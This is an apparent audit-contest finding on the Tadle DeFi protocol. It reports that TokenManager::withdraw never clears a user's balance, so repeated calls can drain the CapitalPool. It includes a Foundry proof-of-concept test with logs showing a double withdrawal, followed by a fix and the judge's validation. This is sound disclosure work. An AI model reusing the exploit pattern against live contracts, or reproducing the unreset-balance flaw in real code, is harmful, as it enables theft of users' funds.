Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Lack of balance reduction in `TokenManager::withdraw` allows unlimited withdrawals

Summary

TokenManager::withdraw allows users to withdraw their balance, but it fails to reduce the user's balance after a successful withdrawal. This oversight enables users with any balance to repeatedly withdraw the same amount, potentially draining the entire CapitalPool.

Impact

This vulnerability could lead to a complete loss of funds in the CapitalPool. Any user with a positive balance can drain the CapitalPool by withdrawing their balance multiple times, far exceeding their actual holdings. This could result in:

  1. Depletion of the CapitalPool's funds

  2. Inability of other users to withdraw their legitimate balances

Proof of Concept

The vulnerability exists in the withdraw function of the TokenManager contract, which retrieves the user's balance, transfers the funds, but never reduces the balance. A malicious user could exploit this by repeatedly calling the withdraw function.

NOTE: this PoC requires adding fixes from my other findings titled "Lack of token approval from CapitalPool to TokenManager in TokenManager::withdraw leads to DoS of all withdrawals" and "Incorrect approval in TokenManager::_transfer leads to DoS of all withdrawals". I will list the following lines here:

function withdraw(address _tokenAddress, TokenBalanceType _tokenBalanceType) external whenNotPaused {
// previous code...
if (_tokenAddress == wrappedNativeToken) {
// ...
} else {
- _safe_transfer_from(_tokenAddress, capitalPoolAddr, _msgSender(), claimAbleAmount); // <<< incorrect, lacks approvals
+ _transfer(_tokenAddress, capitalPoolAddr, _msgSender(), claimAbleAmount, capitalPoolAddr); // <<< correct, with appropriate approvals
}
}

and _transfer function:

if (_from == _capitalPoolAddr && IERC20(_token).allowance(_from, address(this)) == 0x0) {
- ICapitalPool(_capitalPoolAddr).approve(address(this)); // <<< incorrect
+ ICapitalPool(_capitalPoolAddr).approve(_token); // <<< correct
}

These bugs have been reported already as part of other issues, but in order to make this PoC work, they had to be fixed temporarily.


function test_withdraw_vulnerability() public {
// ~~~~~~~~~~~~~~~~~~~~ Setup ~~~~~~~~~~~~~~~~~~~~
address alice = makeAddr("alice");
address bob = makeAddr("bob");
uint256 MAKER_POINTS = 1000;
uint256 TAKER_POINTS = 500;
uint256 TOKEN_AMOUNT = 100 * 1e18;
uint256 TOKENS_PER_POINT = 1e18; // 1 for 1
uint256 INITIAL_BALANCE = 100_000 * 1e18;
deal(address(mockUSDCToken), alice, INITIAL_BALANCE);
deal(address(mockUSDCToken), bob, INITIAL_BALANCE);
console.log(
"- Alice's userTokenBalance before coming into the protocol: %18e",
tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
);
console.log("- Alice's actual balance before coming into the protocol: %18e", mockUSDCToken.balanceOf(alice));
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// ~~~~~~~~~~ 1) Create a maker offer ~~~~~~~~~~
vm.startPrank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createMaker(
CreateMakerParams(
marketPlace,
address(mockUSDCToken),
MAKER_POINTS,
TOKEN_AMOUNT,
10_000 * 1.2, // 120% collateral rate
10_000 * 0.03, // 3% trade tax
OfferType.Ask,
OfferSettleType.Turbo
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
(,,, OfferStatus status,,,,,,,,,,) = preMarktes.offerInfoMap(offerAddr);
require(status == OfferStatus.Virgin, "Maker offer not created successfully");
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// ~~~~~~~~~~ 2) Create a taker order ~~~~~~~~~~
vm.startPrank(bob);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, TAKER_POINTS);
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// ~~~~~~~~~~ 3) Settle the offer ~~~~~~~~~~
vm.startPrank(user1); // user1 == admin
systemConfig.updateMarket("Backpack", address(mockUSDCToken), TOKENS_PER_POINT, block.timestamp - 1, 3600);
vm.startPrank(alice);
deliveryPlace.settleAskMaker(offerAddr, TAKER_POINTS);
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// ~~~~~~~~~~ 4) Check initial balances ~~~~~~~~~~
uint256 initialUserTokenBalance =
tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
console.log("> Initial Alice's userTokenBalance value: %18e", initialUserTokenBalance);
uint256 initialActualTokenBalance = mockUSDCToken.balanceOf(alice);
console.log("> Initial Alice's actual token balance: %18e", initialActualTokenBalance);
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// ~~~~~~~~~~ 5) First withdrawal ~~~~~~~~~~
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
// Check balance after first withdrawal (should be 0)
console.log(
">> Alice's userTokenBalance value after first withdrawal: %18e",
tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
);
console.log(">> Actual token balance after first withdrawal: %18e", mockUSDCToken.balanceOf(alice));
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// ~~~~~~~~~~ 6) Perform second withdrawal (should fail or return 0, but it doesn't) ~~~~~~~~~~
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
// Check balance after second withdrawal (should still be 0, but it's not)
uint256 userTokenBalanceAfterSecondWithdrawal =
tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
console.log(
">>> Alice's userTokenBalance value after second withdrawal: %18e", userTokenBalanceAfterSecondWithdrawal
);
console.log(">>> Actual token balance after second withdrawal: %18e", mockUSDCToken.balanceOf(alice));
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// Assert that the balance is still the same as the initial balance, demonstrating the vulnerability
assertEq(userTokenBalanceAfterSecondWithdrawal, initialUserTokenBalance);
vm.stopPrank();
}

This test will yield the following logs:

- Alice's userTokenBalance before coming into the protocol: 0
- Alice's actual balance before coming into the protocol: 100000
> Initial Alice's userTokenBalance value: 170
> Initial Alice's actual token balance: 99380
>> Alice's userTokenBalance value after first withdrawal: 170
>> Actual token balance after first withdrawal: 99550
>>> Alice's userTokenBalance value after second withdrawal: 170
>>> Actual token balance after second withdrawal: 99720

which signifies that Alice is able to repeteadly withdraw tokens from the protocol, even though she should've withdrawn all of her tokens with her withdrawal.

Tools Used

Foundry, Manual review

Recommended Mitigation Steps

Update the withdraw function to reduce the user's balance after a successful withdrawal.

function withdraw(address _tokenAddress, TokenBalanceType _tokenBalanceType) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
+ delete userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType];
// the rest of the function...
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!